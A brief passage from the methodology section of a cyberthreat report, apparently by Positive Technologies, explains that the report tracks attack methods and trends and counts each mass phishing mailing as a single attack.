information security, the most current methods and
motives of cyberattacks, as well as to identify the main
trends in the changing landscape of cyberthreats.

> In our report, each mass attack (during which the
attackers carry out, for example, phishing mailing
to multiple addresses) is treated as a single attack, not
as multiple attacks. The terms we use in our research
are listed in the Positive Technologies glossary .













